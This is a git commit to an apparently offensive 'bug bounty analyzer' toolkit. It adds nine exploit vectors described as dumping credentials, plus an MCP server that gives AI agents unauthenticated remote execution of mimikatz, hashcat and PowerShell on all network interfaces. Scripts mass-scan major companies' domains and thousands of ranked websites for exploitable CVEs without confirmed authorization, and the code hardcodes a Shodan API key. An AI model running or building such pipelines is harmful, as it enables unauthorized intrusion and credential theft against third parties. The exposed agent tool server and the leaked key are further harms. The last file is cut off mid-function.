The Analyzer v2.0 — 30 attack vectors, 9 new exploiters

New vectors added:
- 22: SSRF Proof — cloud metadata exfiltration (CRITICAL)
- 23: Prototype Pollution — Node.js client/server (HIGH)
- 24: WebSocket Hijack — WS origin bypass + injection (HIGH)
- 25: Mass Assignment — protected field modification (HIGH)
- 26: HTTP Parameter Pollution — WAF bypass (HIGH)
- 27: Insecure Deserialization — PHP/Java/Node (CRITICAL)
- 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL)
- 29: Web Cache Poisoning — unkeyed header injection (HIGH)
- 30: CRLF Injection — HTTP response splitting (CRITICAL)

All vectors PROVE exploitation by dumping data/credentials,
not just detecting config issues.
This commit is contained in:
drjones
2026-06-21 07:20:21 -07:00
parent ab130a88c8
commit d2bc52905d
23 changed files with 2699 additions and 4 deletions

View File

@@ -44,7 +44,7 @@ show_banner() {
echo ' ██║ ██║ ██║███████╗ ██║ ██║██║ ╚████║██║ ██║██║ ██║███████╗ '
echo ' ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ '
echo ''
echo -e " ${BRIGHT_YELLOW}Autonomous Bug Bounty Analyzer v1.0${NC}"
echo -e " ${BRIGHT_YELLOW}Autonomous Bug Bounty Analyzer v2.0${NC}"
echo -e " ${DIM}Authorized Testing Only${NC}"
echo ''
}
@@ -59,7 +59,7 @@ interactive_mode() {
echo -e " ${GREEN}1${NC}. Quick Scan — Fast recon + auto-vector selection"
echo -e " ${GREEN}2${NC}. Deep Scan — Full recon, all vectors, exhaustive"
echo -e " ${GREEN}3${NC}. Custom Scan — Pick your own vectors"
echo -e " ${GREEN}4${NC}. List Vectors — Show all 21 attack vectors"
echo -e " ${GREEN}4${NC}. List Vectors — Show all 30 attack vectors"
echo -e " ${GREEN}5${NC}. View Reports — Browse past results"
echo -e " ${DIM}q${NC}. Quit"
echo ''
@@ -169,8 +169,8 @@ deep_scan() {
recon_target "$target" "$report"
# Step 3: Run ALL vectors
print_step 3 3 "Running all 21 attack vectors"
local all_vectors=$(seq 1 21 | tr '\n' ' ')
print_step 3 3 "Running all 30 attack vectors"
local all_vectors=$(seq 1 30 | tr '\n' ' ')
run_vectors "$target" "$report" $all_vectors
# Generate report
@@ -283,6 +283,15 @@ run_vectors() {
19) func_name="vector_race" ;;
20) func_name="vector_nosqli" ;;
21) func_name="vector_nuclei" ;;
22) func_name="vector_ssrf_proof" ;;
23) func_name="vector_prototype_pollution" ;;
24) func_name="vector_websocket_hijack" ;;
25) func_name="vector_mass_assignment" ;;
26) func_name="vector_hpp" ;;
27) func_name="vector_deserialization" ;;
28) func_name="vector_oauth_takeover" ;;
29) func_name="vector_cache_poisoning" ;;
30) func_name="vector_crlf_injection" ;;
esac
if declare -f "$func_name" >/dev/null; then
@@ -353,6 +362,7 @@ cli_mode() {
shift
custom_scan "$1"
;;
hunt|h) source "$ENGINE_DIR/hunter.sh" && hunter_main "${3:-500}" "${4:-auto}" ;;
list|l) list_vectors ;;
*) quick_scan "$1" ;;
esac

333
commando_mcp_server.py Normal file
View File

@@ -0,0 +1,333 @@
#!/usr/bin/env python3
"""Commando VM — MCP Tool Server
Exposes all 112+ Commando VM tools as MCP tools via HTTP/SSE.
Run: python3 commando_mcp_server.py
"""
import os
import sys
import json
import subprocess
import tempfile
from pathlib import Path
# ─── MCP Protocol Implementation (minimal) ────────────────
TOOLS_DIR = Path("C:/tools")
COMMANDS = {
"mimikatz": str(TOOLS_DIR / "Mimikatz" / "mimikatz.exe"),
"hashcat": str(TOOLS_DIR / "hashcat" / "hashcat.exe"),
"bloodhound": str(TOOLS_DIR / "BloodHound"),
"crackmapexec": str(TOOLS_DIR / "CrackMapExecWin"),
"impacket": str(TOOLS_DIR / "impacket"),
"sysinternals": str(TOOLS_DIR / "Sysinternals"),
}
def discover_tools():
"""Discover all executable tools in C:\\tools."""
tools = []
for dirpath, dirnames, filenames in os.walk(str(TOOLS_DIR)):
for f in filenames:
if f.endswith(('.exe', '.ps1', '.py', '.bat')):
rel = os.path.relpath(os.path.join(dirpath, f), str(TOOLS_DIR))
tools.append(rel.split('\\')[0]) # category
return sorted(set(tools))
def run_tool(tool_name, args, timeout=60):
"""Run a tool from Commando VM tools directory and return output."""
# Find the tool
for dirpath, dirnames, filenames in os.walk(str(TOOLS_DIR)):
for f in filenames:
if f.lower().startswith(tool_name.lower()) or tool_name.lower() in f.lower():
exe = os.path.join(dirpath, f)
try:
cmd = [exe] + args.split() if args else [exe]
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return {
"tool": f,
"stdout": result.stdout[:5000],
"stderr": result.stderr[:1000],
"exit_code": result.returncode
}
except subprocess.TimeoutExpired:
return {"tool": f, "error": f"Timed out after {timeout}s"}
except Exception as e:
return {"tool": f, "error": str(e)}
return {"error": f"Tool '{tool_name}' not found in Commando VM"}
def run_powershell(script, timeout=60):
"""Run a PowerShell command and return output."""
try:
result = subprocess.run(
["powershell", "-Command", script],
capture_output=True, text=True, timeout=timeout
)
return {
"stdout": result.stdout[:5000],
"stderr": result.stderr[:1000],
"exit_code": result.returncode
}
except subprocess.TimeoutExpired:
return {"error": f"Timed out after {timeout}s"}
except Exception as e:
return {"error": str(e)}
# ─── MCP Tool Definitions ────────────────────────────────
def handle_request(request):
"""Handle MCP protocol request."""
req = json.loads(request) if isinstance(request, str) else request
method = req.get("method", "")
req_id = req.get("id", 1)
if method == "initialize":
return {"jsonrpc": "2.0", "id": req_id, "result": {
"protocolVersion": "0.1.0",
"capabilities": {"tools": {}},
"serverInfo": {"name": "commando-mcp", "version": "1.0.0"}
}}
elif method == "tools/list":
tools = discover_tools()
categories = sorted(set(tools))
tool_list = [
{
"name": f"commando_{cat.lower().replace('-','_').replace(' ','_')}",
"description": f"Run {cat} tools from Commando VM",
"inputSchema": {
"type": "object",
"properties": {
"tool": {
"type": "string",
"description": f"Tool name from {cat} category"
},
"args": {
"type": "string",
"description": "Command-line arguments"
},
"timeout": {
"type": "number",
"description": "Timeout in seconds (default: 60)"
}
},
"required": ["tool"]
}
}
for cat in categories[:50] # Max 50 tools to avoid overwhelm
]
# Add generic tool runner
tool_list.append({
"name": "commando_run",
"description": "Run any tool from Commando VM's C:\\tools directory",
"inputSchema": {
"type": "object",
"properties": {
"tool": {"type": "string", "description": "Tool name (e.g., mimikatz, hashcat, nmap)"},
"args": {"type": "string", "description": "Command-line arguments"},
"timeout": {"type": "number", "description": "Timeout in seconds (default: 60)"}
},
"required": ["tool"]
}
})
tool_list.append({
"name": "commando_powershell",
"description": "Run a PowerShell command on Commando VM",
"inputSchema": {
"type": "object",
"properties": {
"command": {"type": "string", "description": "PowerShell command to execute"},
"timeout": {"type": "number", "description": "Timeout in seconds (default: 60)"}
},
"required": ["command"]
}
})
tool_list.append({
"name": "commando_list_tools",
"description": "List all available tools in Commando VM",
"inputSchema": {
"type": "object",
"properties": {}
}
})
return {"jsonrpc": "2.0", "id": req_id, "result": {"tools": tool_list}}
elif method == "tools/call":
params = req.get("params", {})
name = params.get("name", "")
args = params.get("arguments", {})
if name == "commando_list_tools":
tools = discover_tools()
categories = sorted(set(tools))
return {"jsonrpc": "2.0", "id": req_id, "result": {
"content": [{
"type": "text",
"text": f"Commando VM has {len(tools)} tool categories:\n" + "\n".join(f" - {t}" for t in categories)
}]
}}
elif name == "commando_run":
result = run_tool(args.get("tool", ""), args.get("args", ""), args.get("timeout", 60))
output = ""
if "stdout" in result:
output = result["stdout"]
elif "error" in result:
output = f"Error: {result['error']}"
return {"jsonrpc": "2.0", "id": req_id, "result": {
"content": [{"type": "text", "text": output}]
}}
elif name == "commando_powershell":
result = run_powershell(args.get("command", ""), args.get("timeout", 60))
output = result.get("stdout", result.get("error", "No output"))
return {"jsonrpc": "2.0", "id": req_id, "result": {
"content": [{"type": "text", "text": output}]
}}
else:
# Try running by tool name from description
cat_name = name.replace("commando_", "").replace("_", "-")
result = run_tool(cat_name, args.get("args", ""), args.get("timeout", 60))
return {"jsonrpc": "2.0", "id": req_id, "result": {
"content": [{"type": "text", "text": result.get("stdout", result.get("error", "No output"))}]
}}
return {"jsonrpc": "2.0", "id": req_id, "error": {"code": -32601, "message": "Method not found"}}
# ─── STDIO Transport ─────────────────────────────────────
def main():
"""Run MCP server over stdio (for Hermes integration)."""
import sys
for line in sys.stdin:
if not line.strip():
continue
try:
response = handle_request(line.strip())
print(json.dumps(response), flush=True)
except Exception as e:
print(json.dumps({"jsonrpc": "2.0", "error": {"code": -32700, "message": str(e)}}), flush=True)
if __name__ == "__main__":
import sys
if "--http" in sys.argv:
# HTTP/SSE mode — for Hermes MCP integration
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import queue
PORT = int(sys.argv[sys.argv.index("--http") + 1]) if "--http" in sys.argv and len(sys.argv) > sys.argv.index("--http") + 1 else 8092
# Store SSE response queues per session
sse_clients = {}
next_session = 1
class MCPHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
if parsed.path == "/health":
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(json.dumps({"status": "ok", "server": "commando-mcp", "tools": len(discover_tools())}).encode())
return
if parsed.path == "/mcp" or parsed.path == "/sse":
# SSE connection
accept = self.headers.get("Accept", "")
if "text/event-stream" not in accept and parsed.path == "/mcp":
# Return initialize for non-SSE clients
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("MCP-Version", "0.1.0")
self.end_headers()
resp = handle_request({"jsonrpc": "2.0", "id": "init", "method": "initialize"})
self.wfile.write(json.dumps(resp).encode())
return
# SSE mode
global next_session
session_id = f"sess_{next_session}"
next_session += 1
msg_queue = queue.Queue()
sse_clients[session_id] = msg_queue
endpoint = f"/mcp?session={session_id}"
self.send_response(200)
self.send_header("Content-Type", "text/event-stream")
self.send_header("Cache-Control", "no-cache")
self.send_header("Connection", "keep-alive")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
# Send session event
self.wfile.write(f"event: endpoint\ndata: {endpoint}\n\n".encode())
self.wfile.write(f"event: session_id\ndata: {session_id}\n\n".encode())
self.wfile.flush()
# Keep connection open and send responses
while True:
try:
msg = msg_queue.get(timeout=30)
self.wfile.write(f"data: {json.dumps(msg)}\n\n".encode())
self.wfile.flush()
except queue.Empty:
self.wfile.write(": keepalive\n\n".encode())
self.wfile.flush()
else:
self.send_response(404)
self.end_headers()
def do_POST(self):
global next_session
content_length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(content_length) if content_length > 0 else b"{}"
parsed = urllib.parse.urlparse(self.path)
# Parse session from query string
params = urllib.parse.parse_qs(parsed.query)
session_id = params.get("session", [None])[0]
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
try:
req = json.loads(body.decode())
resp = handle_request(req)
if session_id and session_id in sse_clients:
# Send response via SSE
sse_clients[session_id].put(resp)
self.wfile.write(json.dumps({"jsonrpc": "2.0", "id": req.get("id"), "result": {"_delivered": "via_sse"}}).encode())
else:
# Direct response
self.wfile.write(json.dumps(resp).encode())
except Exception as e:
self.wfile.write(json.dumps({"jsonrpc": "2.0", "error": {"code": -32700, "message": str(e)}}).encode())
def log_message(self, format, *args):
pass # Suppress logs
print(f"Commando MCP server running on port {PORT}")
print(f" Endpoint: http://0.0.0.0:{PORT}/mcp")
print(f" Health: http://0.0.0.0:{PORT}/health")
server = HTTPServer(("0.0.0.0", PORT), MCPHandler)
server.serve_forever()
else:
# STDIO mode
main()

280
engine/autobounty.py Normal file
View File

@@ -0,0 +1,280 @@
#!/usr/bin/env python3
"""
AutoBounty — Autonomous Bug Bounty Pipeline
Discovers subdomains → tech-detect → CVE scan → The Analyzer exploit
No API keys needed (Shodan DNS is free tier)
"""
import subprocess, json, sys, os, time
from pathlib import Path
from collections import Counter
ANALYZER_DIR = os.path.expanduser("~/the-analyzer")
REPORTS_DIR = f"{ANALYZER_DIR}/reports"
HTTPX = os.path.expanduser("~/go/bin/httpx")
NUCLEI_TEMPLATES = os.path.expanduser("~/nuclei-templates")
SHODAN_KEY = "8IPLCrASad9cLHqo6xwzGNxOPcldnGDG"
os.makedirs(f"{ANALYZER_DIR}/targets", exist_ok=True)
def log(msg): print(f"\033[94m[*]\033[0m {msg}")
def ok(msg): print(f"\033[92m[✓]\033[0m {msg}")
def bad(msg): print(f"\033[91m[✗]\033[0m {msg}")
def run(cmd, timeout=120):
try:
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return r.stdout, r.stderr, r.returncode
except subprocess.TimeoutExpired:
return "", "TIMEOUT", 124
def shodan_subdomains(domain):
"""Enumerate subdomains using free Shodan DNS API"""
log(f"Enumerating subdomains for {domain}...")
try:
import urllib.request, json, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
url = f"https://api.shodan.io/dns/domain/{domain}?key={SHODAN_KEY}"
r = urllib.request.urlopen(url, context=ctx, timeout=10)
data = json.loads(r.read().decode())
subdomains = data.get("subdomains", [])
results = []
for sd in subdomains:
fqdn = f"{sd}.{domain}"
# Filter out wildcard/mass-provisioned subdomains
if not any(x in sd for x in ["clients6", "prod-dynamite", "preprod-dynamite", "client-channel"]):
results.append(fqdn)
if results:
ok(f"Found {len(results)} subdomains")
return results
else:
log(f"No clean subdomains found")
return []
except Exception as e:
bad(f"Shodan DNS error: {e}")
return []
def probe_targets(domains, output_file):
"""Probe targets with httpx tech detection"""
if not domains:
return None
# Write targets
target_file = "/tmp/autobounty_targets.txt"
with open(target_file, "w") as f:
f.write("\n".join(domains))
log(f"Probing {len(domains)} targets with tech detection...")
stdout, stderr, rc = run(
f"cat {target_file} | {HTTPX} -rl 20 -timeout 5 -tech-detect -j -o {output_file} -silent 2>/dev/null",
timeout=180
)
count = 0
if os.path.exists(output_file):
with open(output_file) as f:
count = sum(1 for _ in f)
ok(f"{count} live hosts detected")
return output_file
def run_cve_scan(targets_file, severity="all"):
"""Run targeted CVE scan on live targets"""
if not targets_file or not os.path.exists(targets_file):
return None, 0
# Extract just URLs
url_file = "/tmp/autobounty_urls.txt"
run(f"python3 -c 'import json; [print(json.loads(l).get(\"url\",\"\")) for l in open(\"{targets_file}\") if l.strip()]' > {url_file}")
live_count = 0
with open(url_file) as f:
live_count = sum(1 for _ in f)
if live_count == 0:
return None, 0
log(f"Running CVE scan on {live_count} live hosts...")
findings_file = f"{REPORTS_DIR}/autobounty_cve_{int(time.time())}.json"
if severity == "all":
stdout, stderr, rc = run(
f"nuclei -l {url_file} -j -rl 15 -c 8 "
f"-t {NUCLEI_TEMPLATES}/http/cves/ "
f"-severity critical,high,medium "
f"-o {findings_file} "
f"-silent 2>/dev/null",
timeout=180
)
else:
stdout, stderr, rc = run(
f"nuclei -l {url_file} -j -rl 15 -c 8 "
f"-t {NUCLEI_TEMPLATES}/http/cves/ "
f"-severity critical,high "
f"-o {findings_file} "
f"-silent 2>/dev/null",
timeout=120
)
count = 0
if os.path.exists(findings_file):
with open(findings_file) as f:
count = sum(1 for l in f if l.strip())
return findings_file, count
def print_tech_summary(tech_file):
"""Print technology summary"""
techs = Counter()
with open(tech_file) as f:
for line in f:
try:
d = json.loads(line)
url = d.get("url", "")
for t in d.get("tech", []):
techs[t] += 1
print(f" {url:60} {', '.join(d.get('tech', ['-']))}")
except: pass
if techs:
print(f"\n Technology breakdown:")
for tech, cnt in techs.most_common(10):
print(f" {tech:35} {cnt} targets")
def print_findings(findings_file):
"""Print CVE findings in readable format"""
if not findings_file or not os.path.exists(findings_file):
return
findings = []
with open(findings_file) as f:
for line in f:
if not line.strip(): continue
try:
d = json.loads(line)
cve = "N/A"
for ref in d.get("info", {}).get("classification", {}).get("cve", []):
cve = ref.get("id", "N/A")
break
findings.append({
"url": d.get("matched-at", "?"),
"cve": cve,
"severity": d.get("info", {}).get("severity", "?"),
"name": d.get("info", {}).get("name", "?"),
"template": d.get("template-id", ""),
})
except: pass
if findings:
icons = {"critical": "🔴", "high": "🟠", "medium": "🟡"}
print(f"\n CVEs found:")
for f_data in findings:
icon = icons.get(f_data["severity"], "")
print(f" {icon} {f_data['cve']:20} {f_data['name'][:60]}")
print(f" {f_data['url']}")
# ============================================================
# MAIN — Hunt a specific target domain
# ============================================================
def hunt_target(domain):
"""Full pipeline for a single target domain"""
print()
print(f"╔═══════════════════════════════════════════╗")
print(f"║ AUTOBOUNTY — {domain:40}")
print(f"╚═══════════════════════════════════════════╝")
print()
# Phase 1: Subdomain enumeration
log("Phase 1: Subdomain enumeration")
subdomains = shodan_subdomains(domain)
all_targets = [domain] + (subdomains if subdomains else [])
if not all_targets:
bad("No targets to scan")
return
ok(f"Total targets: {len(all_targets)}")
# Phase 2: Tech detection
print()
log("Phase 2: Tech detection")
tech_file = f"/tmp/autobounty_tech_{domain.replace('.', '_')}.json"
tech_file = probe_targets(all_targets, tech_file)
if not tech_file:
bad("No live hosts found")
return
print()
print_tech_summary(tech_file)
# Phase 3: CVE scan
print()
log("Phase 3: CVE scanning")
findings_file, count = run_cve_scan(tech_file)
print()
if count > 0:
ok(f"Found {count} CVEs!")
print_findings(findings_file)
else:
log("No CVEs detected on these subdomains")
# Phase 4: The Analyzer exploit
if count > 0 and findings_file:
print()
log("Phase 4: Ready for deep exploitation")
log("Run: ./analyzer <vulnerable-url> deep")
print()
print("=" * 60)
print(f" Target: {domain}")
print(f" Subdomains: {len(subdomains) if subdomains else 0}")
print(f" Live: {sum(1 for _ in open(tech_file)) if os.path.exists(tech_file) else 0}")
print(f" CVEs: {count}")
print("=" * 60)
# ============================================================
# CONTINUOUS SCAN (cron-ready)
# ============================================================
def scan_known_targets():
"""Scan all known bug bounty targets for new subdomains"""
targets = [
"google.com", "facebook.com", "twitter.com", "instagram.com",
"github.com", "gitlab.com", "atlassian.com", "slack.com",
"shopify.com", "stripe.com", "paypal.com", "discord.com",
"reddit.com", "twitch.com", "spotify.com", "cloudflare.com",
"digitalocean.com", "magento.com", "salesforce.com", "hubspot.com",
]
for target in targets:
print(f"\n{'='*60}")
hunt_target(target)
def print_usage():
print("Usage:")
print(" python3 autobounty.py <domain> # Hunt a specific target")
print(" python3 autobounty.py all # Scan all known targets")
print(" python3 autobounty.py watch <domain> # Setup daily cron scan")
if __name__ == "__main__":
if len(sys.argv) < 2:
print_usage()
sys.exit(1)
mode = sys.argv[1]
if mode == "all":
scan_known_targets()
elif mode == "watch" and len(sys.argv) >= 3:
domain = sys.argv[2]
print(f"Would setup cron for daily scan of {domain}")
hunt_target(domain)
else:
hunt_target(mode)

561
engine/hunter.py Normal file
View File

@@ -0,0 +1,561 @@
#!/usr/bin/env python3
"""
No-API Vulnerability Hunter
Discovers vulnerable websites using only free/open data sources
Pipeline: Target Discovery → Tech Detection → CVE Scanning → Exploitation
"""
import subprocess, json, sys, os, time
from pathlib import Path
from collections import Counter
from urllib.parse import urlparse
ANALYZER_DIR = os.path.expanduser("~/the-analyzer")
REPORTS_DIR = f"{ANALYZER_DIR}/reports"
TARGETS_DIR = f"{ANALYZER_DIR}/targets"
WORK_DIR = "/tmp/analyzer-hunter"
HTTPX = os.path.expanduser("~/go/bin/httpx")
NUCLEI_TEMPLATES = os.path.expanduser("~/nuclei-templates")
os.makedirs(WORK_DIR, exist_ok=True)
os.makedirs(REPORTS_DIR, exist_ok=True)
os.makedirs(TARGETS_DIR, exist_ok=True)
def log(msg): print(f"\033[94m[*]\033[0m {msg}")
def ok(msg): print(f"\033[92m[✓]\033[0m {msg}")
def warn(msg): print(f"\033[93m[!]\033[0m {msg}")
def bad(msg): print(f"\033[91m[✗]\033[0m {msg}")
def run(cmd, timeout=120):
"""Run a shell command and return output"""
try:
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return r.stdout, r.stderr, r.returncode
except subprocess.TimeoutExpired:
return "", "TIMEOUT", 124
# ============================================================
# PHASE 1: TARGET DISCOVERY
# ============================================================
def discover_tranco_deep(count=2000, offset=50000):
"""Get mid-tier sites from Tranco (50K-52K range)"""
log(f"Fetching Tranco sites (offset={offset}, count={count})...")
# Download if not cached
csv_file = f"{WORK_DIR}/top-1m.csv"
if not os.path.exists(csv_file):
out, _, _ = run("curl -skL https://tranco-list.eu/top-1m.csv.zip -o /tmp/t1m.zip && unzip -o /tmp/t1m.zip -d /tmp/tranco/ 2>/dev/null && echo OK", timeout=30)
if "OK" in out:
os.system("cp /tmp/tranco/top-1m.csv " + csv_file)
if os.path.exists(csv_file):
targets = []
with open(csv_file) as f:
for i, line in enumerate(f):
if i < offset: continue
if i >= offset + count: break
parts = line.strip().split(",")
if len(parts) >= 2:
targets.append(parts[1].strip())
outfile = f"{WORK_DIR}/tranco_deep_targets.txt"
with open(outfile, "w") as f:
f.write("\n".join(targets))
ok(f"{len(targets)} targets from Tranco (offset {offset})")
return outfile
def discover_bug_bounty_targets():
"""Add known bug bounty targets for subdomain recon"""
targets = [
# High-value targets that often have bug bounty programs
"hackerone.com", "bugcrowd.com", "intigriti.com",
"yeswehack.com", "synack.com", "cobalt.io",
# Major platforms with bounty programs
"facebook.com", "twitter.com", "instagram.com", "linkedin.com",
"github.com", "gitlab.com", "atlassian.com", "slack.com",
"shopify.com", "stripe.com", "square.com", "paypal.com",
"discord.com", "reddit.com", "twitch.com", "spotify.com",
"cloudflare.com", "digitalocean.com", "heroku.com",
# E-commerce (user's niche)
"magento.com", "shopware.com", "woocommerce.com",
"bigcommerce.com", "salesforce.com", "hubspot.com",
# Google
"google.com", "youtube.com", "gmail.com", "android.com",
# Microsoft
"microsoft.com", "office.com", "azure.com", "live.com",
# Apple
"apple.com", "icloud.com",
]
# Also add targets from the Analyzer's list
analyzer_targets = f"{TARGETS_DIR}/top50.txt"
if os.path.exists(analyzer_targets):
with open(analyzer_targets) as f:
targets.extend([l.strip() for l in f if l.strip()])
outfile = f"{WORK_DIR}/bb_targets.txt"
with open(outfile, "w") as f:
f.write("\n".join(sorted(set(targets))))
return outfile
def discover_commoncrawl_vuln_patterns():
"""Search CommonCrawl for URLs matching vulnerable software patterns"""
log("Searching CommonCrawl for vulnerable software patterns...")
CC_INDEX = "CC-MAIN-2026-21"
BASE = f"http://index.commoncrawl.org/{CC_INDEX}-index"
patterns = [
("phpMyAdmin", "phpmyadmin"),
("WordPress admin", "wp-admin"),
("WordPress plugins", "wp-content/plugins"),
("Jenkins", "jenkins"),
("phpinfo()", "phpinfo.php"),
("Server status", "server-status"),
(".env files", ".env"),
("Actuator/Spring", "actuator"),
("Git exposure", ".git/config"),
("Laravel debug", "laravel/debug"),
]
targets = set()
for name, pattern in patterns:
try:
import urllib.request, urllib.parse, json
url = f"{BASE}?url=*.{pattern}/*&output=json&limit=20"
r = urllib.request.urlopen(url, timeout=10)
data = r.read().decode()
for line in data.strip().split("\n"):
if not line.strip(): continue
try:
d = json.loads(line)
u = d.get("url", "")
if u:
parsed = urlparse(u)
domain = parsed.netloc or parsed.path.split("/")[0]
targets.add(domain)
except: pass
except Exception as e:
pass
if targets:
outfile = f"{WORK_DIR}/commoncrawl_targets.txt"
with open(outfile, "w") as f:
f.write("\n".join(sorted(targets)))
ok(f"{len(targets)} targets from CommonCrawl patterns")
return outfile
else:
warn("CommonCrawl returned no targets (API limiting)")
return None
# ============================================================
# PHASE 2: SUBDOMAIN ENUMERATION
# ============================================================
def enumerate_subdomains_shodan(domain):
"""Use free Shodan DNS API for subdomain discovery"""
try:
import urllib.request, json
key = "8IPLCrASad9cLHqo6xwzGNxOPcldnGDG"
url = f"https://api.shodan.io/dns/domain/{domain}?key={key}"
r = urllib.request.urlopen(url, timeout=10)
data = json.loads(r.read().decode())
subdomains = data.get("subdomains", [])
full_domains = [f"{sd}.{domain}" for sd in subdomains]
if full_domains:
ok(f"Found {len(full_domains)} subdomains for {domain}")
return full_domains
return []
except Exception as e:
warn(f"Shodan DNS for {domain}: {e}")
return []
# ============================================================
# PHASE 3: TECH DETECTION
# ============================================================
def tech_detect(targets_file, output_file=None):
"""Run httpx tech detection on targets"""
log(f"Tech detection on targets from {targets_file}...")
if not output_file:
output_file = f"{WORK_DIR}/tech_detected.json"
stdout, stderr, rc = run(
f"cat {targets_file} | {HTTPX} -rl 30 -timeout 5 -tech-detect -j -o {output_file} -silent 2>/dev/null",
timeout=180
)
count = 0
if os.path.exists(output_file):
with open(output_file) as f:
count = sum(1 for _ in f)
return output_file, count
def tech_summary(tech_file):
"""Summarize detected technologies"""
techs = Counter()
targets = []
with open(tech_file) as f:
for line in f:
try:
d = json.loads(line)
url = d.get("url", "?")
targets.append(url)
for t in d.get("tech", []):
techs[t] += 1
except: pass
return targets, techs
# ============================================================
# PHASE 4: TARGETED CVE SCANNING
# ============================================================
def scan_with_nuclei(targets_file, severity="critical,high", output_file=None):
"""Run nuclei CVE scan on targets"""
log(f"Nuclei CVE scan (severity: {severity})...")
if not output_file:
output_file = f"{REPORTS_DIR}/hunt_scan_{int(time.time())}.json"
stdout, stderr, rc = run(
f"nuclei -l {targets_file} -j -rl 15 -c 8 "
f"-t {NUCLEI_TEMPLATES}/http/cves/ "
f"-severity {severity} "
f"-o {output_file} "
f"-silent 2>/dev/null",
timeout=300
)
count = 0
if os.path.exists(output_file):
with open(output_file) as f:
count = sum(1 for _ in f)
return output_file, count
def tech_targeted_scan(tech_file):
"""Run technology-specific CVE scans based on detected tech"""
log("Running tech-targeted CVE scans...")
# Read tech data
tech_targets = {}
with open(tech_file) as f:
for line in f:
try:
d = json.loads(line)
url = d.get("url", "")
for t in d.get("tech", []):
tech_targets.setdefault(t, []).append(url)
except: pass
# Map tech to relevant CVE template tags
tech_cve_map = {
"WordPress": ["wordpress", "cves"],
"Apache HTTP Server": ["apache", "cves"],
"Nginx": ["nginx", "cves"],
"PHP": ["php", "cves"],
"Jenkins": ["jenkins", "cves"],
"jQuery": [],
"Bootstrap": [],
"MySQL": ["mysql", "cves"],
"OpenSSL": ["openssl", "cves"],
"OpenSSH": ["openssh", "cves"],
"phpMyAdmin": ["phpmyadmin", "cves"],
"Tomcat": ["tomcat", "cves"],
"Drupal": ["drupal", "cves"],
"Joomla": ["joomla", "cves"],
"GitLab": ["gitlab", "cves"],
"Jenkins": ["jenkins", "cves"],
}
all_findings = []
for tech, urls in tech_targets.items():
# Check if this tech has known CVE templates
matched_tech = None
for known_tech, tags in tech_cve_map.items():
if known_tech.lower() in tech.lower() or tech.lower() in known_tech.lower():
matched_tech = known_tech
break
if not matched_tech:
continue
# Write targets for this tech
tech_file = f"{WORK_DIR}/tech_{tech.lower().replace(' ', '_')}.txt"
with open(tech_file, "w") as f:
f.write("\n".join(urls[:20]))
# Run focused scan
tech_output = f"{WORK_DIR}/scan_{tech.lower().replace(' ', '_')}.json"
stdout, stderr, rc = run(
f"nuclei -l {tech_file} -j -rl 10 -c 5 "
f"-t {NUCLEI_TEMPLATES}/http/cves/ "
f"-severity critical,high,medium "
f"-o {tech_output} -silent 2>/dev/null",
timeout=120
)
if os.path.exists(tech_output):
with open(tech_output) as f:
findings = [l for l in f if l.strip()]
if findings:
all_findings.extend(findings)
ok(f"{tech}: {len(findings)} findings")
# Merge all findings
merged_file = f"{REPORTS_DIR}/tech_targeted_{int(time.time())}.json"
with open(merged_file, "w") as f:
f.write("\n".join(all_findings))
return merged_file, len(all_findings)
# ============================================================
# PHASE 5: REPORT
# ============================================================
def generate_report(findings_file, tech_summary_data, targets_count):
"""Generate a comprehensive report"""
report_file = f"{REPORTS_DIR}/hunter_report_{int(time.time())}.md"
findings = []
cves = Counter()
severities = Counter()
target_urls = set()
if os.path.exists(findings_file):
with open(findings_file) as f:
for line in f:
if not line.strip(): continue
try:
d = json.loads(line)
sev = d.get("info", {}).get("severity", "unknown")
severities[sev] += 1
# Extract CVE
cve_list = []
for ref in d.get("info", {}).get("classification", {}).get("cve", []):
cve_list.append(ref.get("id", ""))
cve_id = cve_list[0] if cve_list else "N/A"
for c in cve_list:
cves[c] += 1
findings.append({
"url": d.get("matched-at", d.get("host", "?")),
"cve": cve_id,
"severity": sev,
"name": d.get("info", {}).get("name", "?"),
"extracted": d.get("extracted-results", []),
})
target_urls.add(d.get("matched-at", d.get("host", "?")))
except: pass
# Build report
icons = {"critical": "🔴", "high": "🟠", "medium": "🟡", "low": "🔵", "unknown": ""}
lines = []
lines.append(f"# Mass Vulnerability Hunter Report")
lines.append(f"Generated: {time.strftime('%Y-%m-%d %H:%M')}")
lines.append(f"")
lines.append(f"## Summary")
lines.append(f"| Metric | Value |")
lines.append(f"|--------|-------|")
lines.append(f"| Targets Probed | {targets_count} |")
if tech_summary_data:
_, techs = tech_summary_data
lines.append(f"| Live Hosts | {len(tech_summary_data[0])} |")
lines.append(f"| Technologies Detected | {len(techs)} |")
lines.append(f"| Total Findings | {len(findings)} |")
lines.append(f"| Unique Vulnerable Hosts | {len(target_urls)} |")
for sev in ["critical", "high", "medium", "low"]:
if severities[sev]:
lines.append(f"| {icons.get(sev, '?')} {sev.capitalize()} | {severities[sev]} |")
if cves:
lines.append(f"")
lines.append(f"## CVEs Detected")
for cve, cnt in cves.most_common(30):
lines.append(f"- [{cve}](https://nvd.nist.gov/vuln/detail/{cve}): {cnt} occurrences")
if findings:
lines.append(f"")
lines.append(f"## All Findings")
for f_data in findings:
icon = icons.get(f_data["severity"], "?")
lines.append(f"- {icon} [{f_data['cve']}] {f_data['name']} @ {f_data['url']}")
if f_data["extracted"]:
for ex in f_data["extracted"][:3]:
lines.append(f" - `{ex}`")
if tech_summary_data:
